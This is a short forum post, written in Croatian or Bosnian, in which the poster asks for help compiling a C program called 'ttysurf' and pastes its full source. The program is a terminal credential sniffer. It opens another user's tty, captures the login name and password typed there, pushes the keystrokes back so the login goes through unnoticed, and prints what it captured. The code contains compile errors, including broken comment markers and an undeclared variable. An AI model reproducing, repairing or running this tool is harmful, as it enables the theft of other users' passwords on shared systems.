sniffing...

Naso sam jedan program ttysurf ali ga nemogu sompajlirat javlja mi neke greske, ali ne mogu prokljuvit zasto ako neko moze pogledat pa mi rec eventualno rjesenja (ako ga ima)??


#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/termios.h>

#define DEBUG 1 /* Enable additional debugging info (needed!) */
#define USLEEP /* Define this if your UNIX supports usleep() */

#ifdef ULTRIX
#define TCGETS TCGETP /* Get termios structure */
#define TCSETS TCSANOW /* Set termios structure */
#endif


handler(signal)
int signal; /* signalnumber */
{ /* do nothing, ignore the signal */
if(DEBUG) printf("Ignoring signal %d\n",signal);
}

int readandpush(f,string)
FILE *f;
char *string;
{
char *cp,*result;
int e;
struct termios termios;

result=fgets(string,20,f); /* Read a line into string */
if (result==NULL)
{ perror("fgets()");
return(1);
}
if (DEBUG)
{ printf("String: %s\n",string);
fflush(stdout);
}

ioctl(0,TCGETS,&termios); /* These 3 lines turn off input echo */
/* echo = (termios.c_lflag & ECHO); */
termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
ioctl(0,TCSETS,&termios);

for (cp=string;*cp;cp++) /* Push it back as input */
{ e=ioctl(0,TIOCSTI,cp);
if(e<0)
{ perror("ioctl()");
return(1);
}
}
return(0);
}

main(argc,argv)
int argc;
char *argv[];
{
/* variables */
int err;
FILE *f;
char *term = "12345678901234567890";
char *login = "12345678901234567890";
char *password = "12345678901234567890";
if (argc < 2)
{ printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
printf("Enter ttyname: ");
gets(term);
}
else term=argv[argc-1];

signal(SIGQUIT,handler);
signal(SIGINT,handler);
signal(SIGTERM,handler);
signal(SIGHUP,handler);
signal(SIGTTOU,handler);

close(0); /* close stdin */
#ifdef ULTRIX
if(setpgrp(0,100)==-1)
perror("setpgrp:"); /* Hopefully this works */
#else
if(setsid()==-1)
perror("setsid:"); /* Disconnect from our controlling TTY and
start a new session as sessionleader */
#endif
f=fopen(term,"r"); /* Open tty as a stream, this guarantees
getting file descriptor 0 */
if (f==NULL)
{ printf("Error opening %s with fopen()\n",term);
exit(2);
}
if (DEBUG) system("ps -xu>>/dev/null &");
fclose(f); /* Close the TTY again */
f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
if (f==NULL)
{ printf("Error opening /dev/tty with fopen()\n",term);
exit(2);
}

if(readandpush(f,login)==0)
{
#ifdef USLEEP
usleep(20000); /* This gives login(1) a chance to read the
string, or the second call would read the
input that the first call pushed back ! /*
#else
for(i=0;i<1000;i++)
err=err+(i*i)
/* error /* Alternatives not yet implemented */
#endif
readandpush(f,password);
printf("Result: First: %s Second: %s\n",login,password);
}

fflush(stdout);
sleep(30); /* Waste some time, to prevent that we send a SIGHUP
to login(1), which would kill the user. Instead,
wait a while. We then send SIGHUP to the shell of
the user, which will ignore it. */
fclose(f);
}